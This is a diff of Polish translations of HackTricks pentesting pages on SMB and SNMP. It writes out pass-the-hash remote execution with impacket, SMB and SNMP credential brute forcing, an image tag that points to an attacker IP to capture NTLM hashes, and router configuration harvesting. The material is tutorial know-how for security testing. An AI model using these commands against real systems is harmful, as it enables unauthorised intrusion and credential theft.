@ -507,19 +401,19 @@ W **kali** znajduje się w /usr/share/doc/python3-impacket/examples/.
psexec \\192.168.122.66 -u Administrator -p 123456Ww
psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass the hash
```
Za pomocą **parametru** `-k` można uwierzytelnić się za pomocą **kerberosa** zamiast **NTLM**.
Za pomocą **parametru** `-k` możesz uwierzytelnić się przy użyciu **kerberosa** zamiast **NTLM**
### [wmiexec](../windows-hardening/ntlm/wmicexec.md)/dcomexec
Wykonaj polecenie powłoki bez dotykania dysku ani uruchamiania nowej usługi za pomocą DCOM przez **port 135**.\
W **kali** znajduje się w lokalizacji /usr/share/doc/python3-impacket/examples/
Bezgłośnie wykonaj powłokę poleceń, nie dotykając dysku ani nie uruchamiając nowej usługi za pomocą DCOM przez **port 135.**\
W **kali** znajduje się w /usr/share/doc/python3-impacket/examples/
```bash
#If no password is provided, it will be prompted
./wmiexec.py [[domain/]username[:password]@]<targetName or address> #Prompt for password
./wmiexec.py -hashes LM:NT administrator@10.10.10.103 #Pass-the-Hash
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted
```
Za pomocą **parametru** `-k` możesz uwierzytelnić się za pomocą **kerberosa** zamiast **NTLM**.
Za pomocą **parametru** `-k` możesz uwierzytelnić się przy użyciu **Kerberos** zamiast **NTLM**.
```bash
#If no password is provided, it will be prompted
./dcomexec.py [[domain/]username[:password]@]<targetName or address>
@ -528,33 +422,33 @@ Za pomocą **parametru** `-k` możesz uwierzytelnić się za pomocą **kerberosa
```
### [AtExec](../windows-hardening/ntlm/atexec.md)
Wykonaj polecenia za pomocą Harmonogramu zadań (używając _\pipe\atsvc_ przez SMB).\
W **kali** znajduje się w lokalizacji /usr/share/doc/python3-impacket/examples/
Wykonaj polecenia za pomocą Harmonogramu zadań (korzystając z _\pipe\atsvc_ przez SMB).\
W **kali** znajduje się w /usr/share/doc/python3-impacket/examples/
```bash
./atexec.py [[domain/]username[:password]@]<targetName or address> "command"
./atexec.py -hashes <LM:NT> administrator@10.10.10.175 "whoami"
```
## Odwołanie do Impacket
## Odnośnik do Impacket
[https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/)
## **Próba złamania danych uwierzytelniających użytkowników**
## **Próba odgadnięcia poświadczeń użytkowników**
**Nie jest to zalecane, możesz zablokować konto, jeśli przekroczysz maksymalną dozwoloną liczbę prób**
```bash
nmap --script smb-brute -p 445 <IP>
ridenum.py <IP> 500 50000 /root/passwds.txt #Get usernames bruteforcing that rids and then try to bruteforce each user name
```
## Atak SMB Relay
## Atak SMB relay
Ten atak wykorzystuje narzędzie Responder do **przechwytywania sesji uwierzytelniania SMB** w sieci wewnętrznej i **przekazywania** ich do **maszyny docelowej**. Jeśli sesja uwierzytelniania **zakończy się sukcesem**, automatycznie zostaniesz przeniesiony do **powłoki systemowej**.\
[**Więcej informacji na temat tego ataku tutaj.**](../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
[**Więcej informacji o tym ataku tutaj.**](../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
## SMB-Trap
Biblioteka systemu Windows URLMon.dll automatycznie próbuje uwierzytelnić się wobec hosta, gdy strona próbuje uzyskać dostęp do pewnej zawartości za pomocą SMB, na przykład: `img src="\\10.10.10.10\path\image.jpg"`
Biblioteka systemu Windows URLMon.dll automatycznie próbuje uwierzytelnienia do hosta, gdy strona próbuje uzyskać dostęp do pewnej zawartości za pomocą SMB, na przykład: `img src="\\10.10.10.10\path\image.jpg"`
Dzieje się tak za pomocą funkcji:
Zdarza się to przy użyciu funkcji:
* URLDownloadToFile
* URLDownloadToCache
@ -571,7 +465,7 @@ Które są używane przez niektóre przeglądarki i narzędzia (takie jak Skype)
## Kradzież NTLM
Podobnie jak w przypadku SMB Trapping, umieszczenie złośliwych plików na systemie docelowym (za pomocą SMB, na przykład) może spowodować próbę uwierzytelnienia SMB, co umożliwia przechwycenie skrótu NetNTLMv2 za pomocą narzędzia takiego jak Responder. Skrót można następnie złamać offline lub użyć w [atakach SMB Relay](pentesting-smb.md#smb-relay-attack).
Podobnie jak w przypadku Pułapki SMB, umieszczenie złośliwych plików na systemie docelowym (za pomocą SMB, na przykład) może spowodować próbę uwierzytelnienia SMB, umożliwiając przechwycenie hasha NetNTLMv2 za pomocą narzędzia takiego jak Responder. Hasło można następnie złamać offline lub użyć w [ataku SMB relay](pentesting-smb.md#smb-relay-attack).
[Zobacz: ntlm\_theft](../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm\_theft)
@ -650,10 +544,10 @@ Command: msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP
Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

View file

@ -2,21 +2,21 @@
<details>
<summary><strong>Zacznij od zera i zostań ekspertem od hakowania AWS dzięki</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Nauka hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
* **Dołącz do** 💬 [**Grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Jeśli interesuje Cię **kariera w dziedzinie hakerstwa** i hakowanie niemożliwych do zhakowania - **rekrutujemy!** (_wymagana biegła znajomość języka polskiego w mowie i piśmie_).
Jeśli interesuje Cię **kariera w hakowaniu** i hakowanie niemożliwego - **rekrutujemy!** (_wymagana biegła znajomość języka polskiego w mowie i piśmie_).
{% embed url="https://www.stmcyber.com/careers" %}
@ -28,24 +28,24 @@ PORT STATE SERVICE REASON VERSION
161/udp open snmp udp-response ttl 244 ciscoSystems SNMPv3 server (public)
```
{% hint style="info" %}
SNMP używa również portu **162/UDP** do **pułapek**. Są to dane **pakietowe wysyłane z serwera SNMP do klienta bez wyraźnego żądania**.
SNMP używa również portu **162/UDP** do **pułapek**. Są to **pakiety danych wysyłane z serwera SNMP do klienta bez wyraźnego żądania**.
{% endhint %}
### MIB
Aby zapewnić, że dostęp SNMP działa między producentami i różnymi kombinacjami klient-serwer, została stworzona **Baza Informacji Zarządzania (MIB)**. MIB to **niezależny format przechowywania informacji o urządzeniu**. MIB to **plik tekstowy**, w którym wszystkie **obiekty SNMP** urządzenia są wymienione w **standaryzowanej** hierarchii drzewa. Zawiera co najmniej jeden `Identyfikator Obiektu` (`OID`), który oprócz niezbędnego **unikalnego adresu** i **nazwy**, zawiera również informacje o typie, prawach dostępu i opisie danego obiektu. Pliki MIB są napisane w formacie tekstowym ASCII opartym na `Abstrakcyjnej Notacji Składni Jedynki` (`ASN.1`). **MIB nie zawierają danych**, ale wyjaśniają **gdzie znaleźć jakie informacje** i jak one wyglądają, zwracają wartości dla konkretnego OID, lub jaki typ danych jest używany.
Aby zapewnić, że dostęp SNMP działa między producentami i różnymi kombinacjami klient-serwer, została stworzona **Baza Informacji Zarządzania (MIB)**. MIB to **niezależny format przechowywania informacji o urządzeniu**. MIB to **plik tekstowy**, w którym wszystkie **obiekty SNMP** urządzenia są wymienione w **standaryzowanym** drzewie hierarchii. Zawiera co najmniej jeden `Identyfikator Obiektu` (`OID`), który oprócz niezbędnego **unikalnego adresu** i **nazwy**, zawiera również informacje o typie, prawach dostępu i opisie danego obiektu. Pliki MIB są napisane w formacie tekstowym ASCII opartym na `Notacji Składni Abstrakcyjnej Jedynki` (`ASN.1`). **MIB nie zawierają danych**, ale wyjaśniają **gdzie znaleźć jakie informacje** i jak one wyglądają, zwracają wartości dla konkretnego OID, lub jaki typ danych jest używany.
### OIDs
**Identyfikatory Obiektów (OIDs)** odgrywają kluczową rolę. Te unikalne identyfikatory są przeznaczone do zarządzania obiektami w ramach **Bazy Informacji Zarządzania (MIB)**.
Najwyższe poziomy identyfikatorów obiektów MIB, czyli OID, są przydzielane różnym organizacjom ustanawiającym standardy. To właśnie na tych najwyższych poziomach ustanawiany jest szkielet globalnych praktyk zarządzania i standardów.
Najwyższe poziomy identyfikatorów obiektów MIB, czyli OIDs, są przydzielane różnym organizacjom ustanawiającym standardy. To właśnie na tych najwyższych poziomach ustalane są ramy dla globalnych praktyk zarządzania i standardów.
Dodatkowo, dostawcom przyznaje się swobodę tworzenia prywatnych gałęzi. W ramach tych gałęzi mają **autonomię do dodawania zarządzanych obiektów związanych z ich własnymi liniami produktów**. Ten system zapewnia, że istnieje strukturalna i zorganizowana metoda identyfikowania i zarządzania szerokim zakresem obiektów różnych dostawców i standardów.
![](../../.gitbook/assets/snmp_oid_mib_tree.png)
Możesz **przejrzeć** drzewo **OID** z poziomu sieci tutaj: [http://www.oid-info.com/cgi-bin/display?tree=#focus](http://www.oid-info.com/cgi-bin/display?tree=#focus) lub **zobaczyć, co oznacza OID** (np. `1.3.6.1.2.1.1`) przechodząc pod [http://oid-info.com/get/1.3.6.1.2.1.1](http://oid-info.com/get/1.3.6.1.2.1.1). Istnieją **znane OIDs** takie jak te wewnątrz [1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1), które odnoszą się do zdefiniowanych zmiennych protokołu SNMP w MIB-2. Z **OIDs zależnych od tego** można uzyskać interesujące dane hosta (dane systemowe, sieciowe, procesy...)
Możesz **przejrzeć** drzewo **OID** z poziomu sieci tutaj: [http://www.oid-info.com/cgi-bin/display?tree=#focus](http://www.oid-info.com/cgi-bin/display?tree=#focus) lub **zobaczyć co oznacza OID** (np. `1.3.6.1.2.1.1`) przechodząc pod [http://oid-info.com/get/1.3.6.1.2.1.1](http://oid-info.com/get/1.3.6.1.2.1.1). Istnieją **znane OIDs** takie jak te wewnątrz [1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1), które odnoszą się do zdefiniowanych zmiennych protokołu SNMP w MIB-2. Z **OIDs zależnych od tego** można uzyskać interesujące dane hosta (dane systemowe, sieciowe, procesy...)
### **Przykład OID**
@ -55,10 +55,10 @@ Możesz **przejrzeć** drzewo **OID** z poziomu sieci tutaj: [http://www.oid-inf
Oto rozbicie tego adresu.
* 1 to jest nazywane ISO i określa, że jest to OID. Dlatego wszystkie OIDy zaczynają się od "1"
* 3 to jest nazywane ORG i służy do określenia organizacji, która zbudowała urządzenie.
* 1 to jest ISO i określa, że jest to OID. Dlatego wszystkie OIDs zaczynają się od "1"
* 3 to jest ORG i służy do określenia organizacji, która zbudowała urządzenie.
* 6 to dod lub Departament Obrony, który jest organizacją, która jako pierwsza ustanowiła Internet.
* 1 to wartość internetu, aby oznaczyć, że wszystkie komunikacje będą odbywać się przez Internet.
* 1 to wartość internetu, aby oznaczyć, że cała komunikacja będzie odbywać się przez Internet.
* 4 ta wartość określa, że to urządzenie jest produkowane przez organizację prywatną, a nie rządową.
* 1 ta wartość oznacza, że urządzenie jest produkowane przez przedsiębiorstwo lub jednostkę biznesową.
@ -70,7 +70,7 @@ Przechodząc do następnego zestawu liczb.
* 1 wyjaśnia typ urządzenia. W tym przypadku jest to budzik.
* 2 określa, że to urządzenie jest zdalną jednostką terminalową.
Reszta wartości podaje konkretne informacje o urządzeniu.
Pozostałe wartości podają konkretne informacje o urządzeniu.
* 5 oznacza dyskretny punkt alarmowy.
* 1 konkretny punkt w urządzeniu
@ -84,7 +84,7 @@ Reszta wartości podaje konkretne informacje o urządzeniu.
Istnieją 2 ważne wersje SNMP:
* **SNMPv1**: Główna, nadal najczęstsza, **uwierzytelnienie opiera się na ciągu znaków** (ciąg społeczności) przesyłanym w **tekście jawnym** (wszystkie informacje przesyłane są w tekście jawnym). **Wersja 2 i 2c** również przesyłają **ruch w tekście jawnym** i używają ciągu znaków społeczności jako uwierzytelnienie.
* **SNMPv1**: Główna, nadal najczęstsza, **uwierzytelnienie oparte jest na ciągu znaków** (ciąg społeczności) przesyłanym w **tekście jawnym** (wszystkie informacje przesyłane są w tekście jawnym). **Wersja 2 i 2c** również przesyłają **ruch w tekście jawnym** i używają ciągu znaków społeczności jako uwierzytelnienie.
* **SNMPv3**: Używa lepszego **sposobu uwierzytelniania** i informacje przesyłane są **zaszyfrowane** (atak słownikowy może być przeprowadzony, ale znalezienie poprawnych danych uwierzytelniających byłoby znacznie trudniejsze niż w SNMPv1 i v2).
### Ciągi Społeczności
@ -98,7 +98,7 @@ Istnieją **2 rodzaje ciągów społeczności**:
Zauważ, że **możliwość zapisu OID zależy od użytego ciągu społeczności**, więc **nawet** jeśli odkryjesz, że używany jest "**public**", możesz być w stanie **zapisać niektóre wartości**. Istnieją również obiekty, które są **zawsze "Tylko do odczytu"**.\
Jeśli spróbujesz **zapisać** obiekt, otrzymasz błąd **`noSuchName` lub `readOnly`**.
W wersjach 1 i 2/2c, jeśli użyjesz **nieprawidłowego** ciągu społeczności, serwer nie **odpowie**. Dlatego jeśli otrzymasz odpowiedź, został użyty **prawidłowy ciąg społeczności**.
W wersjach 1 i 2/2c, jeśli użyjesz **nieprawidłowego** ciągu społeczności, serwer nie **odpowie**. Dlatego, jeśli otrzymasz odpowiedź, został użyty **prawidłowy ciąg społeczności**.
## Porty
@ -106,7 +106,7 @@ W wersjach 1 i 2/2c, jeśli użyjesz **nieprawidłowego** ciągu społeczności,
* Agent SNMP odbiera żądania na porcie UDP **161**.
* Menedżer odbiera powiadomienia ([Pułapki](https://en.wikipedia.org/wiki/Simple\_Network\_Management\_Protocol#Trap) i [InformRequests](https://en.wikipedia.org/wiki/Simple\_Network\_Management\_Protocol#InformRequest)) na porcie **162**.
* Gdy używane jest [Warstwa Bezpieczeństwa Transportu](https://en.wikipedia.org/wiki/Transport\_Layer\_Security) lub [Datagramowa Warstwa Bezpieczeństwa Transportu](https://en.wikipedia.org/wiki/Datagram\_Transport\_Layer\_Security), żądania są odbierane na porcie **10161**, a powiadomienia są wysyłane na port **10162**.
* Gdy używane jest [Warstwa Bezpieczeństwa Transportu](https://en.wikipedia.org/wiki/Transport\_Layer\_Security) lub [Bezpieczeństwo Warstwy Transportowej Datagramów](https://en.wikipedia.org/wiki/Datagram\_Transport\_Layer\_Security), żądania są odbierane na porcie **10161**, a powiadomienia są wysyłane na port **10162**.
## Atak Brute-Force na Ciąg Społeczności (v1 i v2c)
@ -121,7 +121,7 @@ download-mibs
# Finally comment the line saying "mibs :" in /etc/snmp/snmp.conf
sudo vi /etc/snmp/snmp.conf
```
Jeśli znasz prawidłowy ciąg społeczności, możesz uzyskać dostęp do danych za pomocą **SNMPWalk** lub **SNMP-Check**:
Jeśli znasz poprawny ciąg społeczności, możesz uzyskać dostęp do danych za pomocą **SNMPWalk** lub **SNMP-Check**:
```bash
snmpbulkwalk -c [COMM_STRING] -v [VERSION] [IP] . #Don't forget the final dot
snmpbulkwalk -c public -v2c 10.10.11.136 .
@ -141,7 +141,7 @@ Dzięki rozszerzonym zapytaniom (download-mibs) można jeszcze bardziej wyliczy
```bash
snmpwalk -v X -c public <IP> NET-SNMP-EXTEND-MIB::nsExtendOutputFull
```
**SNMP** zawiera wiele informacji o hostingu, a rzeczy, które mogą Cię zainteresować to: **Interfejsy sieciowe** (adresy IPv4 i **IPv6**), Nazwy użytkowników, Czas pracy, Wersja serwera/systemu operacyjnego oraz **procesy**
**SNMP** zawiera wiele informacji o hostingu, a rzeczy, które mogą Cię zainteresować, to: **Interfejsy sieciowe** (adresy IPv4 i **IPv6**), Nazwy użytkowników, Czas pracy, Wersja serwera/systemu operacyjnego oraz **procesy**
**uruchomione** (mogą zawierać hasła)....
@ -165,12 +165,12 @@ Oba polecenia wymagają **ciągu społecznościowego** i odpowiedniego adresu IP
Seria wartości **Bazy Informacji Zarządzania (MIB)** jest wykorzystywana do monitorowania różnych aspektów systemu Windows za pomocą SNMP:
* **Procesy systemowe**: Dostępne za pomocą `1.3.6.1.2.1.25.1.6.0`, ten parametr pozwala na monitorowanie aktywnych procesów w systemie.
* **Uruchomione programy**: Wartość `1.3.6.1.2.1.25.4.2.1.2` jest przeznaczona do śledzenia obecnie uruchomionych programów.
* **Ścieżka procesów**: Aby określić, skąd uruchamiany jest proces, ywana jest wartość MIB `1.3.6.1.2.1.25.4.2.1.4`.
* **Uruchomione programy**: Wartość `1.3.6.1.2.1.25.4.2.1.2` jest przeznaczona do śledzenia aktualnie uruchomionych programów.
* **Ścieżka procesów**: Aby określić, skąd uruchamiany jest proces, wykorzystywana jest wartość MIB `1.3.6.1.2.1.25.4.2.1.4`.
* **Jednostki pamięci**: Monitorowanie jednostek pamięci jest ułatwione przez `1.3.6.1.2.1.25.2.3.1.4`.
* **Nazwa oprogramowania**: Do zidentyfikowania zainstalowanego oprogramowania w systemie wykorzystywane jest `1.3.6.1.2.1.25.6.3.1.2`.
* **Nazwa oprogramowania**: Do zidentyfikowania zainstalowanego oprogramowania na systemie używane jest `1.3.6.1.2.1.25.6.3.1.2`.
* **Konta użytkowników**: Wartość `1.3.6.1.4.1.77.1.2.25` pozwala na śledzenie kont użytkowników.
* **Lokalne porty TCP**: Wreszcie, `1.3.6.1.2.1.6.13.1.3` jest przeznaczony do monitorowania lokalnych portów TCP, dostarczając informacji o aktywnych połączeniach sieciowych.
* **Porty lokalne TCP**: Wreszcie, `1.3.6.1.2.1.6.13.1.3` jest przeznaczony do monitorowania lokalnych portów TCP, dostarczając informacji o aktywnych połączeniach sieciowych.
### Cisco
@ -198,7 +198,7 @@ Braa implementuje SWÓJ stos SNMP, więc NIE potrzebuje żadnych bibliotek SNMP,
```bash
braa ignite123@192.168.1.125:.1.3.6.*
```
To może wydobyć wiele MB informacji, których nie można przetworzyć ręcznie.
To może wydobyć dużo MB informacji, których nie można przetworzyć ręcznie.
Więc, szukajmy najbardziej interesujących informacji (z [https://blog.rapid7.com/2016/05/05/snmp-data-harvesting-during-penetration-testing/](https://blog.rapid7.com/2016/05/05/snmp-data-harvesting-during-penetration-testing/)):
@ -210,7 +210,7 @@ grep ".1.3.6.1.2.1.1.1.0" *.snmp
```
### **Zidentyfikuj prywatny ciąg znaków**
Kluczowym krokiem jest zidentyfikowanie **prywatnego ciągu znaków społecznościowego**, używanego przez organizacje, w szczególności na routerach Cisco IOS. Ten ciąg umożliwia wydobycie **konfiguracji działającej** z routerów. Identyfikacja często polega na analizie danych pułapki SNMP pod kątem słowa "pułapka" za pomocą polecenia **grep**:
Kluczowym krokiem jest zidentyfikowanie **prywatnego ciągu znaków społeczności** używanego przez organizacje, w szczególności na routerach Cisco IOS. Ten ciąg umożliwia wydobycie **konfiguracji działającej** z routerów. Identyfikacja często polega na analizie danych pułapki SNMP pod kątem słowa "trap" za pomocą polecenia **grep**:
```bash
grep -i "trap" *.snmp
```
@ -222,7 +222,7 @@ grep -i "login\|fail" *.snmp
```
### **Emaile**
Wreszcie, aby wydobyć **adresy e-mail** z danych, używane jest polecenie **grep** z wyrażeniem regularnym, skupiając się na wzorcach pasujących do formatów adresów e-mail:
Wreszcie, aby wydobyć **adresy e-mail** z danych, używane jest polecenie **grep** z wyrażeniem regularnym, skupiając się na wzorcach pasujących do formatów e-mail:
```bash
grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" *.snmp
```
@ -230,9 +230,9 @@ grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" *.snmp
Możesz użyć _**NetScanTools**_ do **modyfikowania wartości**. Będziesz musiał znać **prywatny ciąg znaków**, aby to zrobić.
## Podszycie
## Podszycanie się
Jeśli istnieje lista ACL, która zezwala tylko na zapytania od niektórych adresów IP do usługi SMNP, możesz podrobić jeden z tych adresów wewnątrz pakietu UDP i podsłuchać ruch.
Jeśli istnieje lista ACL, która zezwala tylko niektórym adresom IP na zapytanie usługi SMNP, możesz podrobić jeden z tych adresów wewnątrz pakietu UDP i podsłuchać ruch.
## Sprawdzanie plików konfiguracyjnych SNMP
@ -240,9 +240,9 @@ Jeśli istnieje lista ACL, która zezwala tylko na zapytania od niektórych adre
* snmpd.conf
* snmp-config.xml
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Jeśli interesuje Cię **kariera hakera** i hakowanie niemożliwych do zhakowania rzeczy - **rekrutujemy!** (_wymagana biegła znajomość języka polskiego w mowie i piśmie_).
Jeśli interesuje Cię **kariera w dziedzinie hakowania** i hakowanie niemożliwych do zhakowania - **rekrutujemy!** (_wymagana biegła znajomość języka polskiego w mowie i piśmie_).
{% embed url="https://www.stmcyber.com/careers" %}
@ -292,6 +292,6 @@ Inne sposoby wsparcia HackTricks:
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na githubie.
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
</details>

View file

@ -12,9 +12,9 @@
</details>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Jeśli interesuje Cię **kariera hakerska** i hakowanie niemożliwych do zhakowania - **rekrutujemy!** (_biegła znajomość języka polskiego w mowie i piśmie wymagana_).
Jeśli interesuje Cię **kariera hakerska** i hakowanie niemożliwego - **rekrutujemy!** (_biegła znajomość języka polskiego w mowie i piśmie wymagana_).
{% embed url="https://www.stmcyber.com/careers" %}
@ -49,9 +49,9 @@ msf6 auxiliary(scanner/snmp/snmp_enum) > exploit
* [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Jeśli interesuje Cię **kariera hakera** i hakowanie tego, co nie do złamania - **zatrudniamy!** (_biegła znajomość języka polskiego w mowie i piśmie wymagana_).
Jeśli interesuje Cię **kariera hakera** i hakowanie tego, co nie do złamania - **zatrudniamy!** (_wymagana biegła znajomość języka polskiego, zarówno w mowie, jak i piśmie_).
{% embed url="https://www.stmcyber.com/careers" %}
@ -59,10 +59,10 @@ Jeśli interesuje Cię **kariera hakera** i hakowanie tego, co nie do złamania
<summary><strong>Nauka hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Pracujesz w **firmie cyberbezpieczeństwa**? Chcesz zobaczyć swoją **firmę reklamowaną w HackTricks**? lub chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Czy pracujesz w **firmie zajmującej się cyberbezpieczeństwem**? Chcesz zobaczyć, jak Twoja **firma jest reklamowana w HackTricks**? lub chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**repozytorium hacktricks**](https://github.com/carlospolop/hacktricks) **i** [**repozytorium hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -14,9 +14,9 @@ Inne sposoby wsparcia HackTricks:
</details>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Jeśli interesuje Cię **kariera hakerska** i hakowanie niemożliwych do zhakowania - **rekrutujemy!** (_wymagana biegła znajomość języka polskiego, zarówno pisanego, jak i mówionego_).
